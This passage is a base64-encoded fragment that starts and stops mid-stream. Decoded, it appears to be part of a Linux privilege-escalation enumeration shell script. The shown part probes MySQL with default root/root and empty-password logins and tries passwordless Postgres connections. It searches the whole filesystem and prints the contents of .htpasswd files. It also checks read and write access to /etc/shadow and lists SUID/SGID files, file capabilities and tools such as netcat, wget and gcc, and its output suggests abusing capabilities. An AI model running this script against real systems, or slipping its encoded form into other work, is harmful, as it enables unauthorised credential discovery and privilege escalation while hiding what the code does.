uY29uZiAyPi9kZXYvbnVsbGAKaWYgWyAiJHhpbmV0ZGluY2QiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gL2V0Yy94aW5ldGQuZCBpcyBpbmNsdWRlZCBpbiAvZXRjL3hpbmV0ZC5jb25mIC0gYXNzb2NpYXRlZCBiaW5hcnkgcGVybWlzc2lvbnMgYXJlIGxpc3RlZCBiZWxvdzpcZVswMG0iOyBscyAtbGEgL2V0Yy94aW5ldGQuZCAyPi9kZXYvbnVsbCAKICBlY2hvIC1lICJcbiIKZmkKCiN2ZXJ5ICdyb3VnaCcgY29tbWFuZCB0byBleHRyYWN0IGFzc29jaWF0ZWQgYmluYXJpZXMgZnJvbSB4aW5ldGQuY29uZiAmIHNob3cgcGVybWlzaXNvbnMgb2YgZWFjaAp4aW5ldGRiaW5wZXJtcz1gYXdrICd7cHJpbnQgJDd9JyAvZXRjL3hpbmV0ZC5jb25mIDI+L2Rldi9udWxsIHx4YXJncyAtciBscyAtbGEgMj4vZGV2L251bGxgCmlmIFsgIiR4aW5ldGRiaW5wZXJtcyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBUaGUgcmVsYXRlZCB4aW5ldGQgYmluYXJ5IHBlcm1pc3Npb25zOlxlWzAwbVxuJHhpbmV0ZGJpbnBlcm1zIiAKICBlY2hvIC1lICJcbiIKZmkKCmluaXRkcmVhZD1gbHMgLWxhIC9ldGMvaW5pdC5kIDI+L2Rldi9udWxsYAppZiBbICIkaW5pdGRyZWFkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIC9ldGMvaW5pdC5kLyBiaW5hcnkgcGVybWlzc2lvbnM6XGVbMDBtXG4kaW5pdGRyZWFkIiAKICBlY2hvIC1lICJcbiIKZmkKCiNpbml0LmQgZmlsZXMgTk9UIGJlbG9uZ2luZyB0byByb290IQppbml0ZHBlcm1zPWBmaW5kIC9ldGMvaW5pdC5kLyBcISAtdWlkIDAgLXR5cGUgZiAyPi9kZXYvbnVsbCB8eGFyZ3MgLXIgbHMgLWxhIDI+L2Rldi9udWxsYAppZiBbICIkaW5pdGRwZXJtcyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSAvZXRjL2luaXQuZC8gZmlsZXMgbm90IGJlbG9uZ2luZyB0byByb290OlxlWzAwbVxuJGluaXRkcGVybXMiIAogIGVjaG8gLWUgIlxuIgpmaQoKcmNkcmVhZD1gbHMgLWxhIC9ldGMvcmMuZC9pbml0LmQgMj4vZGV2L251bGxgCmlmIFsgIiRyY2RyZWFkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIC9ldGMvcmMuZC9pbml0LmQgYmluYXJ5IHBlcm1pc3Npb25zOlxlWzAwbVxuJHJjZHJlYWQiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2luaXQuZCBmaWxlcyBOT1QgYmVsb25naW5nIHRvIHJvb3QhCnJjZHBlcm1zPWBmaW5kIC9ldGMvcmMuZC9pbml0LmQgXCEgLXVpZCAwIC10eXBlIGYgMj4vZGV2L251bGwgfHhhcmdzIC1yIGxzIC1sYSAyPi9kZXYvbnVsbGAKaWYgWyAiJHJjZHBlcm1zIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIC9ldGMvcmMuZC9pbml0LmQgZmlsZXMgbm90IGJlbG9uZ2luZyB0byByb290OlxlWzAwbVxuJHJjZHBlcm1zIiAKICBlY2hvIC1lICJcbiIKZmkKCnVzcnJjZHJlYWQ9YGxzIC1sYSAvdXNyL2xvY2FsL2V0Yy9yYy5kIDI+L2Rldi9udWxsYAppZiBbICIkdXNycmNkcmVhZCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSAvdXNyL2xvY2FsL2V0Yy9yYy5kIGJpbmFyeSBwZXJtaXNzaW9uczpcZVswMG1cbiR1c3JyY2RyZWFkIiAKICBlY2hvIC1lICJcbiIKZmkKCiNyYy5kIGZpbGVzIE5PVCBiZWxvbmdpbmcgdG8gcm9vdCEKdXNycmNkcGVybXM9YGZpbmQgL3Vzci9sb2NhbC9ldGMvcmMuZCBcISAtdWlkIDAgLXR5cGUgZiAyPi9kZXYvbnVsbCB8eGFyZ3MgLXIgbHMgLWxhIDI+L2Rldi9udWxsYAppZiBbICIkdXNycmNkcGVybXMiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gL3Vzci9sb2NhbC9ldGMvcmMuZCBmaWxlcyBub3QgYmVsb25naW5nIHRvIHJvb3Q6XGVbMDBtXG4kdXNycmNkcGVybXMiIAogIGVjaG8gLWUgIlxuIgpmaQoKaW5pdHJlYWQ9YGxzIC1sYSAvZXRjL2luaXQvIDI+L2Rldi9udWxsYAppZiBbICIkaW5pdHJlYWQiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gL2V0Yy9pbml0LyBjb25maWcgZmlsZSBwZXJtaXNzaW9uczpcZVswMG1cbiRpbml0cmVhZCIKICBlY2hvIC1lICJcbiIKZmkKCiMgdXBzdGFydCBzY3JpcHRzIG5vdCBiZWxvbmdpbmcgdG8gcm9vdAppbml0cGVybXM9YGZpbmQgL2V0Yy9pbml0IFwhIC11aWQgMCAtdHlwZSBmIDI+L2Rldi9udWxsIHx4YXJncyAtciBscyAtbGEgMj4vZGV2L251bGxgCmlmIFsgIiRpbml0cGVybXMiIF07IHRoZW4KICAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIC9ldGMvaW5pdC8gY29uZmlnIGZpbGVzIG5vdCBiZWxvbmdpbmcgdG8gcm9vdDpcZVswMG1cbiRpbml0cGVybXMiCiAgIGVjaG8gLWUgIlxuIgpmaQoKc3lzdGVtZHJlYWQ9YGxzIC1sdGhSIC9saWIvc3lzdGVtZC8gMj4vZGV2L251bGxgCmlmIFsgIiRzeXN0ZW1kcmVhZCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSAvbGliL3N5c3RlbWQvKiBjb25maWcgZmlsZSBwZXJtaXNzaW9uczpcZVswMG1cbiRzeXN0ZW1kcmVhZCIKICBlY2hvIC1lICJcbiIKZmkKCiMgc3lzdGVtZCBmaWxlcyBub3QgYmVsb25naW5nIHRvIHJvb3QKc3lzdGVtZHBlcm1zPWBmaW5kIC9saWIvc3lzdGVtZC8gXCEgLXVpZCAwIC10eXBlIGYgMj4vZGV2L251bGwgfHhhcmdzIC1yIGxzIC1sYSAyPi9kZXYvbnVsbGAKaWYgWyAiJHN5c3RlbWRwZXJtcyIgXTsgdGhlbgogICBlY2hvIC1lICJcZVswMDszM21bK10gL2xpYi9zeXN0ZW1kLyogY29uZmlnIGZpbGVzIG5vdCBiZWxvbmdpbmcgdG8gcm9vdDpcZVswMG1cbiRzeXN0ZW1kcGVybXMiCiAgIGVjaG8gLWUgIlxuIgpmaQp9Cgpzb2Z0d2FyZV9jb25maWdzKCkKewplY2hvIC1lICJcZVswMDszM20jIyMgU09GVFdBUkUgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtIiAKCiNzdWRvIHZlcnNpb24gLSBjaGVjayB0byBzZWUgaWYgdGhlcmUgYXJlIGFueSBrbm93biB2dWxuZXJhYmlsaXRpZXMgd2l0aCB0aGlzCnN1ZG92ZXI9YHN1ZG8gLVYgMj4vZGV2L251bGx8IGdyZXAgIlN1ZG8gdmVyc2lvbiIgMj4vZGV2L251bGxgCmlmIFsgIiRzdWRvdmVyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFN1ZG8gdmVyc2lvbjpcZVswMG1cbiRzdWRvdmVyIiAKICBlY2hvIC1lICJcbiIKZmkKCiNteXNxbCBkZXRhaWxzIC0gaWYgaW5zdGFsbGVkCm15c3FsdmVyPWBteXNxbCAtLXZlcnNpb24gMj4vZGV2L251bGxgCmlmIFsgIiRteXNxbHZlciIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBNWVNRTCB2ZXJzaW9uOlxlWzAwbVxuJG15c3FsdmVyIiAKICBlY2hvIC1lICJcbiIKZmkKCiNjaGVja3MgdG8gc2VlIGlmIHJvb3Qvcm9vdCB3aWxsIGdldCB1cyBhIGNvbm5lY3Rpb24KbXlzcWxjb25uZWN0PWBteXNxbGFkbWluIC11cm9vdCAtcHJvb3QgdmVyc2lvbiAyPi9kZXYvbnVsbGAKaWYgWyAiJG15c3FsY29ubmVjdCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXZSBjYW4gY29ubmVjdCB0byB0aGUgbG9jYWwgTVlTUUwgc2VydmljZSB3aXRoIGRlZmF1bHQgcm9vdC9yb290IGNyZWRlbnRpYWxzIVxlWzAwbVxuJG15c3FsY29ubmVjdCIgCiAgZWNobyAtZSAiXG4iCmZpCgojbXlzcWwgdmVyc2lvbiBkZXRhaWxzCm15c3FsY29ubmVjdG5vcGFzcz1gbXlzcWxhZG1pbiAtdXJvb3QgdmVyc2lvbiAyPi9kZXYvbnVsbGAKaWYgWyAiJG15c3FsY29ubmVjdG5vcGFzcyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXZSBjYW4gY29ubmVjdCB0byB0aGUgbG9jYWwgTVlTUUwgc2VydmljZSBhcyAncm9vdCcgYW5kIHdpdGhvdXQgYSBwYXNzd29yZCFcZVswMG1cbiRteXNxbGNvbm5lY3Rub3Bhc3MiIAogIGVjaG8gLWUgIlxuIgpmaQoKI3Bvc3RncmVzIGRldGFpbHMgLSBpZiBpbnN0YWxsZWQKcG9zdGd2ZXI9YHBzcWwgLVYgMj4vZGV2L251bGxgCmlmIFsgIiRwb3N0Z3ZlciIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBQb3N0Z3JlcyB2ZXJzaW9uOlxlWzAwbVxuJHBvc3RndmVyIiAKICBlY2hvIC1lICJcbiIKZmkKCiNjaGVja3MgdG8gc2VlIGlmIGFueSBwb3N0Z3JlcyBwYXNzd29yZCBleGlzdHMgYW5kIGNvbm5lY3RzIHRvIERCICd0ZW1wbGF0ZTAnIC0gZm9sbG93aW5nIGNvbW1hbmRzIGFyZSBhIHZhcmlhbnQgb24gdGhpcwpwb3N0Y29uMT1gcHNxbCAtVSBwb3N0Z3JlcyAtdyB0ZW1wbGF0ZTAgLWMgJ3NlbGVjdCB2ZXJzaW9uKCknIDI+L2Rldi9udWxsIHwgZ3JlcCB2ZXJzaW9uYAppZiBbICIkcG9zdGNvbjEiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszM21bK10gV2UgY2FuIGNvbm5lY3QgdG8gUG9zdGdyZXMgREIgJ3RlbXBsYXRlMCcgYXMgdXNlciAncG9zdGdyZXMnIHdpdGggbm8gcGFzc3dvcmQhOlxlWzAwbVxuJHBvc3Rjb24xIiAKICBlY2hvIC1lICJcbiIKZmkKCnBvc3Rjb24xMT1gcHNxbCAtVSBwb3N0Z3JlcyAtdyB0ZW1wbGF0ZTEgLWMgJ3NlbGVjdCB2ZXJzaW9uKCknIDI+L2Rldi9udWxsIHwgZ3JlcCB2ZXJzaW9uYAppZiBbICIkcG9zdGNvbjExIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdlIGNhbiBjb25uZWN0IHRvIFBvc3RncmVzIERCICd0ZW1wbGF0ZTEnIGFzIHVzZXIgJ3Bvc3RncmVzJyB3aXRoIG5vIHBhc3N3b3JkITpcZVswMG1cbiRwb3N0Y29uMTEiIAogIGVjaG8gLWUgIlxuIgpmaQoKcG9zdGNvbjI9YHBzcWwgLVUgcGdzcWwgLXcgdGVtcGxhdGUwIC1jICdzZWxlY3QgdmVyc2lvbigpJyAyPi9kZXYvbnVsbCB8IGdyZXAgdmVyc2lvbmAKaWYgWyAiJHBvc3Rjb24yIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdlIGNhbiBjb25uZWN0IHRvIFBvc3RncmVzIERCICd0ZW1wbGF0ZTAnIGFzIHVzZXIgJ3BzcWwnIHdpdGggbm8gcGFzc3dvcmQhOlxlWzAwbVxuJHBvc3Rjb24yIiAKICBlY2hvIC1lICJcbiIKZmkKCnBvc3Rjb24yMj1gcHNxbCAtVSBwZ3NxbCAtdyB0ZW1wbGF0ZTEgLWMgJ3NlbGVjdCB2ZXJzaW9uKCknIDI+L2Rldi9udWxsIHwgZ3JlcCB2ZXJzaW9uYAppZiBbICIkcG9zdGNvbjIyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdlIGNhbiBjb25uZWN0IHRvIFBvc3RncmVzIERCICd0ZW1wbGF0ZTEnIGFzIHVzZXIgJ3BzcWwnIHdpdGggbm8gcGFzc3dvcmQhOlxlWzAwbVxuJHBvc3Rjb24yMiIgCiAgZWNobyAtZSAiXG4iCmZpCgojYXBhY2hlIGRldGFpbHMgLSBpZiBpbnN0YWxsZWQKYXBhY2hldmVyPWBhcGFjaGUyIC12IDI+L2Rldi9udWxsOyBodHRwZCAtdiAyPi9kZXYvbnVsbGAKaWYgWyAiJGFwYWNoZXZlciIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBBcGFjaGUgdmVyc2lvbjpcZVswMG1cbiRhcGFjaGV2ZXIiIAogIGVjaG8gLWUgIlxuIgpmaQoKI3doYXQgYWNjb3VudCBpcyBhcGFjaGUgcnVubmluZyB1bmRlcgphcGFjaGV1c3I9YGdyZXAgLWkgJ3VzZXJcfGdyb3VwJyAvZXRjL2FwYWNoZTIvZW52dmFycyAyPi9kZXYvbnVsbCB8YXdrICd7c3ViKC8uKlxleHBvcnQgLywiIil9MScgMj4vZGV2L251bGxgCmlmIFsgIiRhcGFjaGV1c3IiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gQXBhY2hlIHVzZXIgY29uZmlndXJhdGlvbjpcZVswMG1cbiRhcGFjaGV1c3IiIAogIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkYXBhY2hldXNyIiBdOyB0aGVuCiAgbWtkaXIgLS1wYXJlbnRzICRmb3JtYXQvZXRjLWV4cG9ydC9hcGFjaGUyLyAyPi9kZXYvbnVsbAogIGNwIC9ldGMvYXBhY2hlMi9lbnZ2YXJzICRmb3JtYXQvZXRjLWV4cG9ydC9hcGFjaGUyL2VudnZhcnMgMj4vZGV2L251bGwKZmkKCiNpbnN0YWxsZWQgYXBhY2hlIG1vZHVsZXMKYXBhY2hlbW9kdWxlcz1gYXBhY2hlMmN0bCAtTSAyPi9kZXYvbnVsbDsgaHR0cGQgLU0gMj4vZGV2L251bGxgCmlmIFsgIiRhcGFjaGVtb2R1bGVzIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEluc3RhbGxlZCBBcGFjaGUgbW9kdWxlczpcZVswMG1cbiRhcGFjaGVtb2R1bGVzIiAKICBlY2hvIC1lICJcbiIKZmkKCiNodHBhc3N3ZCBjaGVjawpodHBhc3N3ZD1gZmluZCAvIC1uYW1lIC5odHBhc3N3ZCAtcHJpbnQgLWV4ZWMgY2F0IHt9IFw7IDI+L2Rldi9udWxsYAppZiBbICIkaHRwYXNzd2QiIF07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzAwOzMzbVstXSBodHBhc3N3ZCBmb3VuZCAtIGNvdWxkIGNvbnRhaW4gcGFzc3dvcmRzOlxlWzAwbVxuJGh0cGFzc3dkIgogICAgZWNobyAtZSAiXG4iCmZpCgojYW55dGhpbmcgaW4gdGhlIGRlZmF1bHQgaHR0cCBob21lIGRpcnMgKGEgdGhvcm91Z2ggb25seSBjaGVjayBhcyBvdXRwdXQgY2FuIGJlIGxhcmdlKQppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4KICBhcGFjaGVob21lZGlycz1gbHMgLWFsaFIgL3Zhci93d3cvIDI+L2Rldi9udWxsOyBscyAtYWxoUiAvc3J2L3d3dy9odGRvY3MvIDI+L2Rldi9udWxsOyBscyAtYWxoUiAvdXNyL2xvY2FsL3d3dy9hcGFjaGUyL2RhdGEvIDI+L2Rldi9udWxsOyBscyAtYWxoUiAvb3B0L2xhbXBwL2h0ZG9jcy8gMj4vZGV2L251bGxgCiAgaWYgWyAiJGFwYWNoZWhvbWVkaXJzIiBdOyB0aGVuCiAgICBlY2hvIC1lICJcZVswMDszMW1bLV0gd3d3IGhvbWUgZGlyIGNvbnRlbnRzOlxlWzAwbVxuJGFwYWNoZWhvbWVkaXJzIiAKICAgIGVjaG8gLWUgIlxuIgogIGZpCmZpCgp9CgppbnRlcmVzdGluZ19maWxlcygpCnsKZWNobyAtZSAiXGVbMDA7MzNtIyMjIElOVEVSRVNUSU5HIEZJTEVTICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xlWzAwbSIgCgojY2hlY2tzIHRvIHNlZSBpZiB2YXJpb3VzIGZpbGVzIGFyZSBpbnN0YWxsZWQKZWNobyAtZSAiXGVbMDA7MzFtWy1dIFVzZWZ1bCBmaWxlIGxvY2F0aW9uczpcZVswMG0iIDsgd2hpY2ggbmMgMj4vZGV2L251bGwgOyB3aGljaCBuZXRjYXQgMj4vZGV2L251bGwgOyB3aGljaCB3Z2V0IDI+L2Rldi9udWxsIDsgd2hpY2ggbm1hcCAyPi9kZXYvbnVsbCA7IHdoaWNoIGdjYyAyPi9kZXYvbnVsbDsgd2hpY2ggY3VybCAyPi9kZXYvbnVsbCAKZWNobyAtZSAiXG4iIAoKI2xpbWl0ZWQgc2VhcmNoIGZvciBpbnN0YWxsZWQgY29tcGlsZXJzCmNvbXBpbGVyPWBkcGtnIC0tbGlzdCAyPi9kZXYvbnVsbHwgZ3JlcCBjb21waWxlciB8Z3JlcCAtdiBkZWNvbXBpbGVyIDI+L2Rldi9udWxsICYmIHl1bSBsaXN0IGluc3RhbGxlZCAnZ2NjKicgMj4vZGV2L251bGx8IGdyZXAgZ2NjIDI+L2Rldi9udWxsYAppZiBbICIkY29tcGlsZXIiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gSW5zdGFsbGVkIGNvbXBpbGVyczpcZVswMG1cbiRjb21waWxlciIgCiAgZWNobyAtZSAiXG4iCmZpCgojbWFudWFsIGNoZWNrIC0gbGlzdHMgb3V0IHNlbnNpdGl2ZSBmaWxlcywgY2FuIHdlIHJlYWQvbW9kaWZ5IGV0Yy4KZWNobyAtZSAiXGVbMDA7MzFtWy1dIENhbiB3ZSByZWFkL3dyaXRlIHNlbnNpdGl2ZSBmaWxlczpcZVswMG0iIDsgbHMgLWxhIC9ldGMvcGFzc3dkIDI+L2Rldi9udWxsIDsgbHMgLWxhIC9ldGMvZ3JvdXAgMj4vZGV2L251bGwgOyBscyAtbGEgL2V0Yy9wcm9maWxlIDI+L2Rldi9udWxsOyBscyAtbGEgL2V0Yy9zaGFkb3cgMj4vZGV2L251bGwgOyBscyAtbGEgL2V0Yy9tYXN0ZXIucGFzc3dkIDI+L2Rldi9udWxsIAplY2hvIC1lICJcbiIgCgojc2VhcmNoIGZvciBzdWlkIGZpbGVzCmFsbHN1aWQ9YGZpbmQgLyAtcGVybSAtNDAwMCAtdHlwZSBmIDI+L2Rldi9udWxsYApmaW5kc3VpZD1gZmluZCAkYWxsc3VpZCAtcGVybSAtNDAwMCAtdHlwZSBmIC1leGVjIGxzIC1sYSB7fSAyPi9kZXYvbnVsbCBcO2AKaWYgWyAiJGZpbmRzdWlkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFNVSUQgZmlsZXM6XGVbMDBtXG4kZmluZHN1aWQiIAogIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkZmluZHN1aWQiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L3N1aWQtZmlsZXMvIDI+L2Rldi9udWxsCiAgZm9yIGkgaW4gJGZpbmRzdWlkOyBkbyBjcCAkaSAkZm9ybWF0L3N1aWQtZmlsZXMvOyBkb25lIDI+L2Rldi9udWxsCmZpCgojbGlzdCBvZiAnaW50ZXJlc3RpbmcnIHN1aWQgZmlsZXMgLSBmZWVsIGZyZWUgdG8gbWFrZSBhZGRpdGlvbnMKaW50c3VpZD1gZmluZCAkYWxsc3VpZCAtcGVybSAtNDAwMCAtdHlwZSBmIC1leGVjIGxzIC1sYSB7fSBcOyAyPi9kZXYvbnVsbCB8IGdyZXAgLXcgJGJpbmFyeWxpc3QgMj4vZGV2L251bGxgCmlmIFsgIiRpbnRzdWlkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFBvc3NpYmx5IGludGVyZXN0aW5nIFNVSUQgZmlsZXM6XGVbMDBtXG4kaW50c3VpZCIgCiAgZWNobyAtZSAiXG4iCmZpCgojbGlzdHMgd29ybGQtd3JpdGFibGUgc3VpZCBmaWxlcwp3d3N1aWQ9YGZpbmQgJGFsbHN1aWQgLXBlcm0gLTQwMDIgLXR5cGUgZiAtZXhlYyBscyAtbGEge30gMj4vZGV2L251bGwgXDtgCmlmIFsgIiR3d3N1aWQiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszM21bK10gV29ybGQtd3JpdGFibGUgU1VJRCBmaWxlczpcZVswMG1cbiR3d3N1aWQiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2xpc3RzIHdvcmxkLXdyaXRhYmxlIHN1aWQgZmlsZXMgb3duZWQgYnkgcm9vdAp3d3N1aWRydD1gZmluZCAkYWxsc3VpZCAtdWlkIDAgLXBlcm0gLTQwMDIgLXR5cGUgZiAtZXhlYyBscyAtbGEge30gMj4vZGV2L251bGwgXDtgCmlmIFsgIiR3d3N1aWRydCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXb3JsZC13cml0YWJsZSBTVUlEIGZpbGVzIG93bmVkIGJ5IHJvb3Q6XGVbMDBtXG4kd3dzdWlkcnQiIAogIGVjaG8gLWUgIlxuIgpmaQoKI3NlYXJjaCBmb3Igc2dpZCBmaWxlcwphbGxzZ2lkPWBmaW5kIC8gLXBlcm0gLTIwMDAgLXR5cGUgZiAyPi9kZXYvbnVsbGAKZmluZHNnaWQ9YGZpbmQgJGFsbHNnaWQgLXBlcm0gLTIwMDAgLXR5cGUgZiAtZXhlYyBscyAtbGEge30gMj4vZGV2L251bGwgXDtgCmlmIFsgIiRmaW5kc2dpZCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBTR0lEIGZpbGVzOlxlWzAwbVxuJGZpbmRzZ2lkIiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJGZpbmRzZ2lkIiBdOyB0aGVuCiAgbWtkaXIgJGZvcm1hdC9zZ2lkLWZpbGVzLyAyPi9kZXYvbnVsbAogIGZvciBpIGluICRmaW5kc2dpZDsgZG8gY3AgJGkgJGZvcm1hdC9zZ2lkLWZpbGVzLzsgZG9uZSAyPi9kZXYvbnVsbApmaQoKI2xpc3Qgb2YgJ2ludGVyZXN0aW5nJyBzZ2lkIGZpbGVzCmludHNnaWQ9YGZpbmQgJGFsbHNnaWQgLXBlcm0gLTIwMDAgLXR5cGUgZiAgLWV4ZWMgbHMgLWxhIHt9IFw7IDI+L2Rldi9udWxsIHwgZ3JlcCAtdyAkYmluYXJ5bGlzdCAyPi9kZXYvbnVsbGAKaWYgWyAiJGludHNnaWQiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszM21bK10gUG9zc2libHkgaW50ZXJlc3RpbmcgU0dJRCBmaWxlczpcZVswMG1cbiRpbnRzZ2lkIiAKICBlY2hvIC1lICJcbiIKZmkKCiNsaXN0cyB3b3JsZC13cml0YWJsZSBzZ2lkIGZpbGVzCnd3c2dpZD1gZmluZCAkYWxsc2dpZCAtcGVybSAtMjAwMiAtdHlwZSBmIC1leGVjIGxzIC1sYSB7fSAyPi9kZXYvbnVsbCBcO2AKaWYgWyAiJHd3c2dpZCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMzbVsrXSBXb3JsZC13cml0YWJsZSBTR0lEIGZpbGVzOlxlWzAwbVxuJHd3c2dpZCIgCiAgZWNobyAtZSAiXG4iCmZpCgojbGlzdHMgd29ybGQtd3JpdGFibGUgc2dpZCBmaWxlcyBvd25lZCBieSByb290Cnd3c2dpZHJ0PWBmaW5kICRhbGxzZ2lkIC11aWQgMCAtcGVybSAtMjAwMiAtdHlwZSBmIC1leGVjIGxzIC1sYSB7fSAyPi9kZXYvbnVsbCBcO2AKaWYgWyAiJHd3c2dpZHJ0IiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdvcmxkLXdyaXRhYmxlIFNHSUQgZmlsZXMgb3duZWQgYnkgcm9vdDpcZVswMG1cbiR3d3NnaWRydCIgCiAgZWNobyAtZSAiXG4iCmZpCgojbGlzdCBhbGwgZmlsZXMgd2l0aCBQT1NJWCBjYXBhYmlsaXRpZXMgc2V0IGFsb25nIHdpdGggdGhlcmUgY2FwYWJpbGl0aWVzCmZpbGVzd2l0aGNhcHM9YGdldGNhcCAtciAvIDI+L2Rldi9udWxsIHx8IC9zYmluL2dldGNhcCAtciAvIDI+L2Rldi9udWxsYAppZiBbICIkZmlsZXN3aXRoY2FwcyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVsrXSBGaWxlcyB3aXRoIFBPU0lYIGNhcGFiaWxpdGllcyBzZXQ6XGVbMDBtXG4kZmlsZXN3aXRoY2FwcyIKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJGZpbGVzd2l0aGNhcHMiIF07IHRoZW4KICBta2RpciAkZm9ybWF0L2ZpbGVzX3dpdGhfY2FwYWJpbGl0aWVzLyAyPi9kZXYvbnVsbAogIGZvciBpIGluICRmaWxlc3dpdGhjYXBzOyBkbyBjcCAkaSAkZm9ybWF0L2ZpbGVzX3dpdGhfY2FwYWJpbGl0aWVzLzsgZG9uZSAyPi9kZXYvbnVsbApmaQoKI3NlYXJjaGVzIC9ldGMvc2VjdXJpdHkvY2FwYWJpbGl0eS5jb25mIGZvciB1c2VycyBhc3NvY2lhdGVkIGNhcGFwaWxpZXMKdXNlcnN3aXRoY2Fwcz1gZ3JlcCAtdiAnXiNcfG5vbmVcfF4kJyAvZXRjL3NlY3VyaXR5L2NhcGFiaWxpdHkuY29uZiAyPi9kZXYvbnVsbGAKaWYgWyAiJHVzZXJzd2l0aGNhcHMiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszM21bK10gVXNlcnMgd2l0aCBzcGVjaWZpYyBQT1NJWCBjYXBhYmlsaXRpZXM6XGVbMDBtXG4kdXNlcnN3aXRoY2FwcyIKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiR1c2Vyc3dpdGhjYXBzIiBdIDsgdGhlbgojbWF0Y2hlcyB0aGUgY2FwYWJpbGl0aWVzIGZvdW5kIGFzc29jaWF0ZWQgd2l0aCB1c2VycyB3aXRoIHRoZSBjdXJyZW50IHVzZXIKbWF0Y2hlZGNhcHM9YGVjaG8gLWUgIiR1c2Vyc3dpdGhjYXBzIiB8IGdyZXAgXGB3aG9hbWlcYCB8IGF3ayAne3ByaW50ICQxfScgMj4vZGV2L251bGxgCglpZiBbICIkbWF0Y2hlZGNhcHMiIF07IHRoZW4KCQllY2hvIC1lICJcZVswMDszM21bK10gQ2FwYWJpbGl0aWVzIGFzc29jaWF0ZWQgd2l0aCB0aGUgY3VycmVudCB1c2VyOlxlWzAwbVxuJG1hdGNoZWRjYXBzIgoJCWVjaG8gLWUgIlxuIgoJCSNtYXRjaGVzIHRoZSBmaWxlcyB3aXRoIGNhcGFwYmlsaXRpZXMgd2l0aCBjYXBhYmlsaXRpZXMgYXNzb2NpYXRlZCB3aXRoIHRoZSBjdXJyZW50IHVzZXIKCQltYXRjaGVkZmlsZXM9YGVjaG8gLWUgIiRtYXRjaGVkY2FwcyIgfCB3aGlsZSByZWFkIC1yIGNhcCA7IGRvIGVjaG8gLWUgIiRmaWxlc3dpdGhjYXBzIiB8IGdyZXAgIiRjYXAiIDsgZG9uZSAyPi9kZXYvbnVsbGAKCQlpZiBbICIkbWF0Y2hlZGZpbGVzIiBdOyB0aGVuCgkJCWVjaG8gLWUgIlxlWzAwOzMzbVsrXSBGaWxlcyB3aXRoIHRoZSBzYW1lIGNhcGFiaWxpdGllcyBhc3NvY2lhdGVkIHdpdGggdGhlIGN1cnJlbnQgdXNlciAoWW91IG1heSB3YW50IHRvIHRyeSBhYnVzaW5nIHRob3NlIGNhcGFiaWx0aWVzKTpcZVswMG1cbiRtYXRjaGVkZmlsZXMiCgkJCWVjaG8gLWUgIlxuIgoJCQkjbGlzdHMgdGhlIHBlcm1pc3Npb25zIG9mIHRoZSBmaWxlcyBoYXZpbmcgdGhlIHNhbWUgY2FwYWJpbGllcyBhc3NvY2lhdGVkIHdpdGggdGhlIGN1cnJlbnQgdXNlcgoJCQltYXRjaGVkZmlsZXNwZXJtcz1gZWNobyAtZSAiJG1hdGNoZWRmaWxlcyIgfCBhd2sgJ3twcmludCAkMX0nIHwgd2hpbGUgcmVhZCAtciBmOyBkbyBscyAtbGEgJGYgO2RvbmUgMj4vZGV2L251bGxgCgkJCWVjaG8gLWUgIlxlWzAwOzMzbVsrXSBQZXJta